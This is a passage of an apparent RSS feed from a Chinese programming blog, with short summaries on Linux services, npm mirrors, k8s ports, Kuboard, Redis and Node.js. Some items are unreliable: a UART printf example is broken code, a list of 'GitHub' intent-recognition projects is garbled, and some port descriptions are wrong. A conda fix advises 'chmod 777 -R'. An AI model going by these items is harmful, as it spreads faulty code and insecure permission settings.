      <description>CentOS7查看自启列表命令&#xA;[root@localhost mysql-rpm]# systemctl list-unit-files # 执行结果:&#34;enabled:自启动&#34;,&#34;disabled:未自启动&#34;&#xA;UNIT FILE STATE proc-sys-fs-binfmt_misc.automount static dev-hugepages.mount static dev-mqueue.mount static proc-sys-fs-binfmt_misc.mount static sys-fs-fuse-connections.mount static sys-kernel-config.mount static sys-kernel-debug.mount static tmp.mount disabled brandbot.path disabled systemd-ask-password-console.path static systemd-ask-password-plymouth.path static systemd-ask-password-wall.path static session-1.scope static session-2.scope static arp-ethers.service disabled auditd.service enabled autovt@.service enabled blk-availability.service disabled brandbot.service static console-getty.service disabled console-shell.service disabled container-getty@.service static cpupower.service disabled crond.service enabled dbus-org.freedesktop.hostname1.service static dbus-org.freedesktop.import1.service static dbus-org.freedesktop.locale1.service static dbus-org.freedesktop.login1.service static dbus-org.freedesktop.machine1.service static dbus-org.freedesktop.NetworkManager.service enabled dbus-org.</description>
    </item>
    <item>
      <title>node nrm切换镜像源</title>
      <link>https://bchobby.github.io/posts/59697ad371649a271ebbfd5d6bbbda47/</link>
      <pubDate>Tue, 03 Jan 2023 16:02:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59697ad371649a271ebbfd5d6bbbda47/</guid>
      <description>1、nrm 安装&#xA;npm install nrm -g 2、查看可用的镜像源&#xA;nrm ls 查看当前使用的镜像源：nrm current&#xA;3、切换镜像源地址&#xA;nrm use 镜像源名称 ,如&#xA;nrm use taobao 4、增加镜像源&#xA;nrm add 镜像源名称 镜像源地址 ，如&#xA;nrm add taobao https://registry.npmmirror.com/ 5、删除镜像源&#xA;nrm del 镜像源名称 ,如&#xA;nrm del taobao 6、镜像源测速&#xA;nrm test 镜像源名称 ,如&#xA;nrm test taobao ## npm config - 查看当前npm的相关配置 npm config list 或者 npm config ls - 可以通过参数设置方式改变镜像使用地址 （） npm install --registry=https://registry.npm.taobao.org - 设置淘宝镜像 npm config set registry https://registry.</description>
    </item>
    <item>
      <title>PRINTF函数通过UART串口输出显示</title>
      <link>https://bchobby.github.io/posts/fd7bd656b6df57454776db6275853026/</link>
      <pubDate>Tue, 03 Jan 2023 15:40:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd7bd656b6df57454776db6275853026/</guid>
      <description>printf函数是一个格式化输出函数，可以通过输出流(如文件、屏幕或串口)将格式化的输出发送到指定的目标。在此情况下，你可以使用printf函数通过串口输出信息，方法是指定串口为输出流，然后调用printf函数。&#xA;例如，在C语言中，可以使用以下代码将信息输出到串口：&#xA;#include &amp;lt;stdio.h&amp;gt; int main(void) { // 打开串口 FILE *serial_port = fopen(&#34;/dev/ttyS0&#34;, &#34;w&#34;); // 将串口作为输出流 setvbuf(serial_port, NULL, _IONBF, 0); // 使用printf函数输出信息到串口 printf(&#34;Hello, world!\n&#34;, serial_port); // 关闭串口 fclose(serial_port); return 0; } 希望这能帮到你！</description>
    </item>
    <item>
      <title>2022LOL微博杯模糊问题，1080p高清看微博杯the shy比赛直播</title>
      <link>https://bchobby.github.io/posts/ce8eeefd31783eb73f10217c2435d5a8/</link>
      <pubDate>Tue, 03 Jan 2023 15:30:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce8eeefd31783eb73f10217c2435d5a8/</guid>
      <description>2022LOL微博杯的直播模糊，看着不爽&#xA;观看方法 1.打开下面在线播放m3u8文件的地址 http://www.m3u8.zone/&#xA;如图&#xA;2.输入播放地址 微博杯的播放地址：&#xA;（1月三号的地址 如果失效往下看解决方法）&#xA;https://plwb01.live.weibo.com/alicdn/4853543833438462.m3u8&#xA;将上面地址输入下面输入框点播放按钮&#xA;如图可以播放了&#xA;模糊原因 微博主动限制了网页推流&#xA;解决方法 解除网页推流限制&#xA;1.右键网页点审查或检查打开控制台 点击播放 并找到请求地址 我这是chrome浏览器，点击控制台的网络（internet），然后找到.m3u8的后缀请求地址&#xA;播放 https://plwb01.live.weibo.com/alicdn/4853543833438462_wb540avc.m3u8&#xA;拿到地址后 去掉 ‘_wb540avc’ 或 ‘_wb480avc’ 等字符：&#xA;https://plwb01.live.weibo.com/alicdn/4853543833438462.m3u8&#xA;用上面的在线播放工具：http://www.m3u8.zone/&#xA;或其他播放器播放这个链接地址</description>
    </item>
    <item>
      <title>S32K144—从0到1一个MBD模型的诞生</title>
      <link>https://bchobby.github.io/posts/1018c1414cf771e2404a2b6a9007a4b0/</link>
      <pubDate>Tue, 03 Jan 2023 08:55:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1018c1414cf771e2404a2b6a9007a4b0/</guid>
      <description> 一个MBD模型的诞生，分为以下几步：&#xA;1、连接好硬件S32K144 EVB 2、选择一个合适的工作空间，新建一个simulink模型，保存 3、在模型中拖入模块： MBD_S32K1xx_Config_Information&#xA;Digital_Input_ISR&#xA;Periodic_Interrupt_Timer&#xA;两个 Function-CallSubsystem&#xA;4、配置模块的参数 MBD_S32K1xx_Config_Information&#xA;Digital_Input_ISR&#xA;Periodic_Interrupt_Timer&#xA;5、构建中断调用函数 一个按键控制 GPI ISR 控制红色LED&#xA;一个PIT用作定时器，控制绿色LED 2Hz闪烁&#xA;6、设置步长0.001s 7、自动生成代码并下载运行 </description>
    </item>
    <item>
      <title>Redis事务P0级事故，超卖100瓶茅台，项目组慌的一批！</title>
      <link>https://bchobby.github.io/posts/aa3974c0c060df13a3c60a92b20f0e1d/</link>
      <pubDate>Tue, 03 Jan 2023 07:50:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa3974c0c060df13a3c60a92b20f0e1d/</guid>
      <description>「 关注“石杉的架构笔记”，大厂架构经验倾囊相授 」 文章来源：【公众号：悟空聊架构】&#xA;一、前言&#xA;最近项目的生产环境遇到一个奇怪的问题：&#xA;现象：每天早上客服人员在后台创建客服事件时，都会创建失败。当我们重启这个微服务后，后台就可以正常创建了客服事件了。到第二天早上又会创建失败，又得重启这个微服务才行。&#xA;初步排查：创建一个客服事件时，会用到 Redis 的递增操作来生成一个唯一的分布式 ID 作为事件 id。代码如下所示：&#xA;return redisTemplate.opsForValue().increment(&#34;count&#34;, 1); 而恰巧每天早上这个递增操作都会返回 null，进而导致后面的一系列逻辑出错，保存客服事件失败。当重启微服务后，这个递增操作又正常了。&#xA;那么排查的方向就是 Redis 的操作为什么会返回 null 了，以及为什么重启就又恢复正常了。&#xA;二、排查&#xA;根据上面的信息，我们先来看看 Redis 的自增操作在什么情况下会返回 null。&#xA;2.1 推测一 根据重启后就恢复正常，我们推测晚上执行了大量的 job，大量 Redis 连接未释放，当早上再来执行 Redis 操作时，执行失败。重启后，连接自动释放了。&#xA;但是其他有使用到 Redis 的业务功能又是正常的，所以推测一的方向有问题，排除。&#xA;2.2 推测二 可能是 Redis 事务造成的问题。这个推测的依据是根据下面的代码来排查的。&#xA;直接看 redisTemplate 递增的方法 increment，如下所示：&#xA;官方注释已经说明什么情况下会返回 null：&#xA;当在 pipeline（管道）中使用这个 increment 方法时会返回 null。&#xA;当在 transaction（事务）中使用这个 increment 方法时会返回 null。&#xA;事务提供了一种将多个命令打包，然后一次性、有序地执行机制.&#xA;多个命令会被入列到事务队列中，然后按先进先出（FIFO）的顺序执行。&#xA;事务在执行过程中不会被中断，当事务队列中的所有命令都被执行完毕之后，事务才会结束。（内容来自 Redis 设计与实现）&#xA;继续看代码，发现在操作 Redis 的 ServiceImpl 实现类的上面添加了一个 @Transactional 注解，推测是不是这个注解影响了 Redis 的操作结果。</description>
    </item>
    <item>
      <title>推荐30个以上比较好的意图识别github源码？</title>
      <link>https://bchobby.github.io/posts/18264d8fa40298cb0d29c2e81675545f/</link>
      <pubDate>Mon, 02 Jan 2023 23:41:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18264d8fa40298cb0d29c2e81675545f/</guid>
      <description>好的，这里列出 30 个相对比较优秀的意图识别 GitHub 源码：&#xA;DeepPavlovRasaSnipsspaCyOpenAI GPTOpenAI DialogFlowChatterBotBotpressAmazon LexMicrosoft Bot FrameworkRecast.AIApi.aiBotkitNLTKCoreNLPPocketSphinxWitParsey McParsefaceLUISAlmondJarvisMUTTBixbyIBM Watson AssistantCorticaHaptikMycroftSophiaKukiLyrebird 希望这些源码能对你有帮助！</description>
    </item>
    <item>
      <title>【ROS】—— ROS通信机制——服务通信（三）</title>
      <link>https://bchobby.github.io/posts/ad2eae873e81fed98871480cdfaf235e/</link>
      <pubDate>Mon, 02 Jan 2023 16:04:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad2eae873e81fed98871480cdfaf235e/</guid>
      <description>文章目录 前言1. 服务通信理论模型2. 服务通信自定义srv2.1 定义srv文件2.2 编辑配置文件2.3 编译 3. 服务通信自定义srv调用(C++)3.1 vscode配置3.2 服务端3.3 客户端3.4 配置 CMakeLists.txt 4. 服务通信自定义srv调用(python)4.1 vscode配置4.2 服务端4.3 客户端4.4 配置 CMakeLists.txt 前言 📢本系列将依托赵虚左老师的ROS课程，写下自己的一些心得与笔记。&#xA;📢课程链接:https://www.bilibili.com/video/BV1Ci4y1L7ZZ&#xA;📢讲义链接:http://www.autolabor.com.cn/book/ROSTutorials/index.html&#xA;📢 文章可能存在疏漏的地方，恳请大家指出。&#xA;1. 服务通信理论模型 服务通信也是ROS中一种极其常用的通信模式，服务通信是基于请求响应模式的，是一种应答机制。也即: 一个节点A向另一个节点B发送请求，B接收处理请求并产生响应结果返回给A。服务通信更适用于对时时性有要求、具有一定逻辑处理的应用场景。&#xA;概念&#xA;以请求响应的方式实现不同节点之间数据交互的通信模式。&#xA;作用&#xA;用于偶然的、对时时性有要求、有一定逻辑处理需求的数据传输场景。&#xA;服务通信较之于话题通信更简单些，理论模型如下图所示，该模型中涉及到三个角色:&#xA;ROS master(管理者)Server(服务端)Client(客户端) ROS Master 负责保管 Server 和 Client 注册的信息，并匹配话题相同的 Server 与 Client ，帮助 Server 与 Client 建立连接，连接建立后，Client 发送请求信息，Server 返回响应信息。&#xA;整个流程由以下步骤实现:&#xA;0.Server注册&#xA;Server 启动后，会通过RPC在 ROS Master 中注册自身信息，其中包含提供的服务的名称。ROS Master 会将节点的注册信息加入到注册表中。&#xA;1.Client注册&#xA;Client 启动后，也会通过RPC在 ROS Master 中注册自身信息，包含需要请求的服务的名称。ROS Master 会将节点的注册信息加入到注册表中。</description>
    </item>
    <item>
      <title>DIY NAS服务器之OMV 5.6入坑指南（四） -安装docker和Portainer</title>
      <link>https://bchobby.github.io/posts/464f763571cad141276528a4cd8a4967/</link>
      <pubDate>Mon, 02 Jan 2023 15:26:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/464f763571cad141276528a4cd8a4967/</guid>
      <description>系列文章目录 DIY NAS服务器之OMV 5.6入坑指南（一）-openmediavalut 5.6安装&#xA;DIY NAS服务器之OMV 5.6入坑指南（二）- 安装omv-extras插件&#xA;DIY NAS服务器之OMV 5.6入坑指南（三）- 切换系统源​​​​​​​&#xA;​​​​​​​&#xA;目录&#xA;系列文章目录&#xA;前言&#xA;一、安装docker&#xA;二、安装Portainer​​​​​​​&#xA;前言 本节内容为openmediavalut安装docker和Portainer&#xA;一、安装docker&#xA;在社区插件中安装docker&#xA;Debian 10/OMV 5.x 默认使用iptables-nft，Docker 需要使用 iptables-legacy，可在 iptables 菜单手动切换&#xA;如果安装出现如下错误，则需设置一下DNS:&#xA;DNS设置 为如下：&#xA;nameserver 114.114.114.114&#xA;nameserver 8.8.8.8&#xA;安装Docker完成后，修改一下docker镜像服务器为国内的：&#xA;国内的 Docker 镜像服务器&#xA;网易云 https://hub-mirror.c.163.com/百度云 https://mirror.baidubce.comDaoCloud http://f1361db2.m.daocloud.io阿里云 https://ustc-edu-cn.mirror.aliyuncs.comGithub https://ghcr.io Docker 设置国内镜像服务器&#xA;第一步 创建 docker 配置文件目录&#xA;sudo mkdir /etc/docker 第二步 创建 daemon.json 配置文件&#xA;sudo touch /etc/docker/daemon.json 第三步 编辑配置文件&#xA;sudo nano /etc/docker/daemon.json 在编辑器中粘贴以下内容:</description>
    </item>
    <item>
      <title>Windows技能（二）：有效清理C盘垃圾的一些使用技巧 | C盘垃圾爆满</title>
      <link>https://bchobby.github.io/posts/4205f71b0a9ed53e6540aa2d8cfc5194/</link>
      <pubDate>Mon, 02 Jan 2023 10:22:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4205f71b0a9ed53e6540aa2d8cfc5194/</guid>
      <description>前言 C盘几乎爆满，让人不胜其烦，某管家清除垃圾，几乎就是个摆设！自己动手，丰衣足食！&#xA;一、C盘垃圾清理 1.1、关闭休眠的功能，至少释放10G+ 快捷键Win+R，输入命令cmd，打开cmd窗口。&#xA;关闭系统休眠，删除C盘 hiberfil.sys(休眠文件)，该命令可以大大减少C盘的占用。&#xA;powercfg -h off 如果你想打开休眠功能：&#xA;powercfg -h on 小节 仅此一招，立刻让C盘释放10G+的空间：powercfg - h off 尾言 C盘的清理工作，还有很多其他小技能，这些技能都是某管家不能触及的地方，因时间关系，后期慢慢更新……</description>
    </item>
    <item>
      <title>k8s占用的端口号,使用什么linux命令可以查到</title>
      <link>https://bchobby.github.io/posts/99f5f285871436fdf326ea71a712b5ef/</link>
      <pubDate>Sun, 01 Jan 2023 15:38:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99f5f285871436fdf326ea71a712b5ef/</guid>
      <description>k8s 使用的端口号有很多，主要包括：&#xA;6443：kube-apiserver 的通信端口。&#xA;2379：etcd 的 client 端口。&#xA;2380：etcd 的 peer 端口。&#xA;10250：kubelet 的安全端口，用于与 kube-apiserver 通信。&#xA;10251：kube-controller-manager 的安全端口，用于与 kube-apiserver 通信。&#xA;10252：kube-scheduler 的安全端口，用于与 kube-apiserver 通信。&#xA;使用 Linux 命令 netstat 可以查看正在使用的端口。例如，你可以使用命令 netstat -tnlp 查看所有打开的 TCP 端口。&#xA;在 k8s 中，你还可以使用命令 kubectl get services 查看集群中所有服务的端口信息。</description>
    </item>
    <item>
      <title>怎么用搜索命令或者lsof命令查看k8s占用的端口号</title>
      <link>https://bchobby.github.io/posts/3945a07731a097478e85396eb0a66d1f/</link>
      <pubDate>Sun, 01 Jan 2023 15:25:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3945a07731a097478e85396eb0a66d1f/</guid>
      <description>可以使用以下命令来查看 k8s 占用的端口号:&#xA;使用 kubectl 命令查看： kubectlget svc --all-namespaces 这个命令会列出所有命名空间中的服务，包括对应的端口号。&#xA;使用 lsof 命令查看： lsof -i -P -n| grep kube 这个命令会列出所有和 kube 相关的进程使用的端口号。&#xA;注意，这两个命令都需要在有 kubectl 或者 lsof 命令的环境中使用。</description>
    </item>
    <item>
      <title>k8s占用的端口号,使用netstat命令查不到</title>
      <link>https://bchobby.github.io/posts/092d27f53574740e5ef4fa9d283e73f5/</link>
      <pubDate>Sun, 01 Jan 2023 15:21:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/092d27f53574740e5ef4fa9d283e73f5/</guid>
      <description>k8s使用的端口号可能会有很多，因为它是一个容器编排系统，它可以管理和运行大量的容器。这些容器可能会运行在不同的主机上，并且可能使用不同的端口。&#xA;如果你想要查看k8s使用的端口号，你可以使用kubectl命令行工具，使用以下命令查看集群中所有的服务：&#xA;kubectlget svc --all-namespaces 这将会列出集群中所有的服务以及它们使用的端口号。&#xA;另外，k8s还使用一些特定的端口号来进行内部通信，例如：&#xA;6443：kube-apiserver使用的端口号，用于集群内部的API服务。10250：kubelet使用的端口号，用于与kube-apiserver通信。10251：kube-scheduler使用的端口号，用于与kube-apiserver通信。10252：kube-controller-manager使用的端口号，用于与kube-apiserver通信。 这些端口号可能不会在netstat命令的输出中出现，因为它们是k8s内部使用的端口，不对外暴露。如果你想要查看这些端口的状态，可以使用lsof命令或者ss命令。</description>
    </item>
    <item>
      <title>Linux中常用的shell命令</title>
      <link>https://bchobby.github.io/posts/74244461c316fc4a29452e31536977cd/</link>
      <pubDate>Sun, 01 Jan 2023 11:24:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74244461c316fc4a29452e31536977cd/</guid>
      <description>linux命令分内部命令和外部命令，外部是由第三方独立的程序提供的，比如vim，而内部命令就是由sell提供，比如常用的cd、mkdir、pwd等。&#xA;一、内部命令 查看及切换目录 cd 跳转到指定目录&#xA;pwd 查看当前目录&#xA;ls 当前目录下文件列表&#xA;创建目录和文件 touch 创建文件，更新文件时间&#xA;mkdir 创建目录&#xA;tree 命令可以以树状图列出文件目录结构&#xA;复制、删除、移动目录和伪文件 cp 即拷贝文件和目录rm 删除文件或目录(删除后不可恢复)mv 移动目录或文件，也可以给 文件或目录重命名 查找目录和文件 which 命令|程序名&#xA;which -a 命令|程序名&#xA;eg. which ls 、which cd&#xA;find [查找范围] [查找条件表达式]&#xA;采用递归的方式，根据目标的名称、类型、大小等不同属性进行精细查找&#xA;二、快捷键辅助操作 Tab键：可以提供选项补全命令&#xA;Ctrl+c：停止进程&#xA;Ctrl+U：删除光标之前的内容&#xA;Ctrl+K：删除光标之后的内容&#xA;Ctrl+L：清空你的终端屏幕&#xA;Ctrl + A：该快捷键将移动光标到所在行首&#xA;Ctrl + E：移动光标到行尾&#xA;Ctrl + Y：粘贴使用 Ctrl+U 和 Ctrl+K 快捷键擦除的文本&#xA;快速获取命令帮助： help cd %查看内部命令的帮助man who %查看man手则页 /word可搜索word字符串vim --help %查看相关软件的外部命令 常用命令积累： make 根据当前目录下的Makefile文件进行文件编译；make clean 清除当前路径下的编译生成文件；ls 列出当前目录下的文件mkdir 创建新的目录clear 清除命令窗口；rm &amp;lt;name&amp;gt; 清除某个文件touch &amp;lt;name&amp;gt; 创建新文件（也可用于更新文件最新状态）vi(vim) &amp;lt;name&amp;gt; 使用vim编译器编写文件cat &amp;lt;name&amp;gt; 查看某个文件gedit &amp;lt;name&amp;gt; 使用gedit编译器编写文件（改写系统文件）ps 默认显示当前用户通过终端启动的应用程序which 命令可以查看执行命令所在位置su 切换root用户 用exit退出 总结： 1、Linux命令总结在不断更新中···</description>
    </item>
    <item>
      <title>Kuboard安装</title>
      <link>https://bchobby.github.io/posts/f8b6c213355fbf4be8553223c885bd16/</link>
      <pubDate>Sun, 01 Jan 2023 10:14:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8b6c213355fbf4be8553223c885bd16/</guid>
      <description>1.参考文档 https://kuboard.cn/install/install-dashboard.html#%E5%AE%89%E8%A3%85&#xA;这里使用Kuboard V2&#xA;2.安装命令 kubectl apply -f https://kuboard.cn/install-script/kuboard.yaml kubectl apply -f https://addons.kuboard.cn/metrics-server/0.3.7/metrics-server.yaml 查看 Kuboard运行状态&#xA;kubectl get pods -l k8s.kuboard.cn/name=kuboard -n kube-system 效果：&#xA;3.获取token 执行命令：&#xA;echo $(kubectl -n kube-system get secret $(kubectl -n kube-system get secret | grep ^kuboard-user | awk &#39;{print $1}&#39;) -o go-template=&#39;{{.data.token}}&#39; | base64 -d) 4.访问Kuboard Kuboard Service 使用了 NodePort 的方式暴露服务，NodePort 为 32567；您可以按如下方式访问 Kuboard。&#xA;http://任意一个Worker节点的IP地址:32567/&#xA;效果：</description>
    </item>
    <item>
      <title>NodeJS学习</title>
      <link>https://bchobby.github.io/posts/5f1056e5a44b095c0000935b89f2f0a6/</link>
      <pubDate>Sat, 31 Dec 2022 22:27:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f1056e5a44b095c0000935b89f2f0a6/</guid>
      <description>认识node node是JS运行在服务器端一种环境,可以让JS实现后端开发&#xA;1.node.js和JS对比 js&#xA;JS客户端技术,运行于浏览器中&#xA;有多种解释器可以使用,每种浏览器的解释器可能不同&#xA;存在代码兼容性问题 支持ES对象,自定义对象,BOM,DOM对象 主要用于网页DOM元素的操作,实现用户的交互效果&#xA;node&#xA;服务器技术,与PHP,JSP等是类似的技术&#xA;只有一种解释器,只能运行与基于V8引擎改进而来的与运行环境&#xA;只有一种解释器,不存在兼容性问题&#xA;支持ES对象,自定义对象,node.js扩展对象&#xA;主要用于实现服务器端运行逻辑,如文件系统操作,数据库访问等&#xA;2.Node安装与基本命令 1. node安装需要去官网下载Node.js (nodejs.org),目前最新版本是18.12.1，版本并不兼容一定看好版本号&#xA;2. 安装完可以cmd命令行输入 node -v 如果有版本号，证明安装成功，我的是16.15.1版本的&#xA;3. node有两种模式：一种是交互模式，一种是脚本模式&#xA;node回车进入交互模式&#xA;脚本模式： node 然后拖拽写好的文件，比如下面，然后回车执行写好的js文件&#xA;4. 输入两次ctrl + c 或者一次 ctrl + d 退出交互模式 3.宿主环境 宿主环境就是JS运行时的环境，有浏览器，和node，宿主对象在不同环境下提供不同的对象&#xA;4.全局对象global和window 1.在任意作用域下都可以访问的对象称为全局对象，node环境下是global对象，浏览器环境下是window对象&#xA;2.在全局作用于下直接声明的变量，会自动添加到全局对象里面，称为全局对象的属性&#xA;5.console控制台（node环境下也可以使用） 1. console.log(1); // 输出日志&#xA;2. console.info(2) // 输出消息&#xA;3. console.warn(3) // 输出警告 黄色三角&#xA;4. console.error(4) // 输出错误 红色叉&#xA;5. console.time()/console.timeEnd() 记录执行时间&#xA;6.Buffer 对象 1. 缓冲区，是内存中的一块区域，用于临时存储数据</description>
    </item>
    <item>
      <title>Java去除字符串中的空格（trim()）</title>
      <link>https://bchobby.github.io/posts/25b20dacb3352807f83fe7343ca59227/</link>
      <pubDate>Sat, 31 Dec 2022 15:29:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25b20dacb3352807f83fe7343ca59227/</guid>
      <description>字符串中存在的首尾空格一般情况下都没有任何意义，如字符串“ Hello ”，但是这些空格会影响到字符串的操作，如连接字符串或比较字符串等，所以应该去掉字符串中的首尾空格，这需要使用 String 类提供的 trim() 方法。&#xA;trim() 方法的语法形式如下：&#xA;字符串名.trim() 使用 trim() 方法的示例如下：&#xA;String str = &#34; hello &#34;;System.out.println(str.length()); // 输出 7System.out.println(str.trim().length()); // 输出 5 从该示例中可以看出，字符串中的每个空格占一个位置，直接影响了计算字符串的长度。&#xA;如果不确定要操作的字符串首尾是否有空格，最好在操作之前调用该字符串的 trim() 方法去除首尾空格，然后再对其进行操作。&#xA;注意：trim() 只能去掉字符串中前后的半角空格（英文空格），而无法去掉全角空格（中文空格）。可用以下代码将全角空格替换为半角空格再进行操作，其中替换是 String 类的 replace() 方法，《Java字符串的替换》一节会详细介绍这个方法。&#xA;str = str.replace((char) 12288, &#39; &#39;); // 将中文空格替换为英文空格&#xA;str = str.trim();&#xA;其中，12288 是中文全角空格的 unicode 编码。&#xA;更多学习及源码评论区扣：666。免费获取。 【Java300集】高淇老师讲解Java-最新版本-入门版基础教程-全集分享</description>
    </item>
    <item>
      <title>解决EnvironmentNotWritableError: The current user does not have write permissions to the target</title>
      <link>https://bchobby.github.io/posts/a518b544ff4e14b43dc1a8de08f0b19e/</link>
      <pubDate>Sat, 31 Dec 2022 01:48:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a518b544ff4e14b43dc1a8de08f0b19e/</guid>
      <description> 文章目录 一、问题描述二、解决方案 一、问题描述 其实是很简单的一个问题。。在某台服务器上用conda下载个包，报错没有写权限：&#xA;EnvironmentNotWritableError: The current user does not have write permissions to the target environment. environment location: /usr/local/miniconda3 uid: 1001 gid: 1000 二、解决方案 如果在conda前加上sudo也没用。直接对报错提示的文件增加权限就好啦：&#xA;sudo chmod 777 -R ./miniconda3 </description>
    </item>
    <item>
      <title>json串转复杂对象嵌套对象</title>
      <link>https://bchobby.github.io/posts/13e437c94e629851da6c15a093f2a43c/</link>
      <pubDate>Fri, 30 Dec 2022 17:24:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13e437c94e629851da6c15a093f2a43c/</guid>
      <description>import com.google.gson.Gson; import lombok.extern.slf4j.Slf4j; import java.lang.reflect.Type; @Slf4j public class GsonUtil { private GsonUtil() { } private static Gson gson = new Gson(); public static Gson getInstance() { return gson; } /** * 字符串转对象 * 带泛型的返回值类型 * * @param json json 字符串 * @param typeOfT 指定返回值类型。示例：new TypeToken&amp;lt;Map&amp;lt;Integer, Integer&amp;gt;&amp;gt;() { * }.getType() * @param &amp;lt;T&amp;gt; 返回值类型 * @return 对象 */ public static &amp;lt;T&amp;gt; T fromJson(String json, Type typeOfT) { return getInstance().fromJson(json, typeOfT); } } String json = &#34;</description>
    </item>
    <item>
      <title>Alarm介绍</title>
      <link>https://bchobby.github.io/posts/16584668d9bfa99db1c85a65136789b3/</link>
      <pubDate>Fri, 30 Dec 2022 17:00:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16584668d9bfa99db1c85a65136789b3/</guid>
      <description>一、背景&#xA;Alarm用于实现Android中的定时任务，在Android的各个架构层次都有广泛的应用，和timer不同的是，timer在系统休眠后不会触发，而alarm在系统休眠后，可以借助RTC唤醒系统。在功耗调试过程中，也会遇到alarm频繁唤醒系统导致功耗高的情况，所以梳理alarm的整体流程是有必要的。本文主要介绍alarm整体流程和从功耗角度关注的部分细节，如alarm唤醒类型，alarm对齐，alarm suspend处理等。&#xA;二、alarm整体架构&#xA;Alarm整体架构如下，framework层对外提供接口，对内实现具体功能和策略，如alarm创建、处理和对齐等，并通过jni与native通信，native层通过系统调用进入kernel层。不同类型的alarm，在framework层体现在参数不同，具体差异处理在kernel层，如对唤醒和非唤醒alarm的处理，在kernel层体现在是否设置alarm到RTC，具体流程在后面进行阐述。&#xA;三、alarm类型&#xA;根据是否可唤醒系统，使用相对时间或绝对时间，alarm type分为下面四类&#xA;对于这四类alarm的详细解释，参考代码中注释&#xA;RTC_WAKEUP: (wall clock time in UTC), which will wake up the device when it goes off&#xA;RTC: (wall clock time in UTC). This alarm does not wake the device up; if it goes off while the device is asleep, it will not be delivered until the next time the device wakes up.&#xA;ELAPSED_REALTIME_WAKEUP: (time since boot, including sleep), which will wake up the device when it goes off.</description>
    </item>
    <item>
      <title>【纯干货！】Linux 内核经典面试题</title>
      <link>https://bchobby.github.io/posts/29928c9c417eb3caf16c6a697f8a776b/</link>
      <pubDate>Fri, 30 Dec 2022 16:02:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29928c9c417eb3caf16c6a697f8a776b/</guid>
      <description>内核经典面试题总览 主要有哪几种内核锁？Linux 内核的同步机制是什么？&#xA;Linux 中的用户模式和内核模式是什么含义？&#xA;怎么申请大块内存？vmalloc 和 kmalloc 有什么区别？&#xA;进程间通信主要有哪几种方式？&#xA;伙伴系统申请内存的函数有哪些？&#xA;通过 slab 分配器申请内存的函数有哪些？&#xA;Linux 的内核空间和用户空间如何划分的？进程地址空间布局图？&#xA;vmalloc() 申请内存有什么特点？&#xA;用户程序使用 malloc() 申请的内存空间在什么范围？&#xA;在支持并使能 MMU 的系统中，Linux 内核和用于程序分别运行在物理地址模式还是虚拟地址模式？&#xA;ARM 处理器是通过几级页表进行存储空间映射的？&#xA;Linux 是通过什么组件来实现支持多种文件系统的？&#xA;Linux虚拟文件系统的关键数据结构有哪些？（至少写出4个）&#xA;对文件系统的操作函数保存在哪个数据结构中？&#xA;Linux 中的文件包括哪些？&#xA;创建进程的系统调用有哪些？&#xA;调用 schedule() 进行进程切换的方式有几种？&#xA;Linux 调度程序是根据进程的动态优先级还是静态优先级来调度进程的？&#xA;进程调度的核心数据结构是哪个？&#xA;如何加载、卸载一个模块？&#xA;模块和应用程序分别运行在什么空间？&#xA;Linux 中的浮点运算由应用程序实现还是内核实现？&#xA;模块程序能否使用可链接的库函数？&#xA;TLB 中缓存的是什么内容&#xA;Linux 中有哪几种设备？&#xA;字符设备驱动程序的关键数据结构是哪个？&#xA;设备驱动程序包括哪些功能函数？&#xA;如何唯一标识一个设备？&#xA;Linux 通过什么方式实现系统调用？&#xA;Linux 软中断和工作队列的作用是什么？&#xA;小编推荐自己的Linux内核技术交流群： 【977878001】进群免费领取 内核资料包（含视频教程、电子书、实战项目及代码） 0x01 答案 1. 主要有哪几种内核锁？Linux 内核的同步机制是什么？ 自旋锁：spin_lock 忙等，中断中使用&#xA;信号量：semxxx down/up write/read</description>
    </item>
    <item>
      <title>逻辑结构分为4个类型</title>
      <link>https://bchobby.github.io/posts/9d4eb6ef76f343c07a297c273b8ab365/</link>
      <pubDate>Fri, 30 Dec 2022 15:40:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d4eb6ef76f343c07a297c273b8ab365/</guid>
      <description>逻辑结构分为四个类型:&#xA;顺序结构: 事情发生的顺序是有计划的, 每个步骤都有它的前驱和后继。&#xA;选择结构: 根据某些条件, 可以选择执行不同的操作。&#xA;循环结构: 重复执行一系列操作, 直到满足某个条件为止。&#xA;分支结构: 根据某些条件, 可以执行不同的操作, 但是只会执行其中的一个。&#xA;这四种逻辑结构是计算机程序设计中常用的基本结构, 它们可以结合使用, 来构建复杂的程序。</description>
    </item>
    <item>
      <title>通过Widows server backup实现共享文件夹定时备份</title>
      <link>https://bchobby.github.io/posts/c2b2c0e3a36c159a128a390da60f6994/</link>
      <pubDate>Fri, 30 Dec 2022 15:36:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2b2c0e3a36c159a128a390da60f6994/</guid>
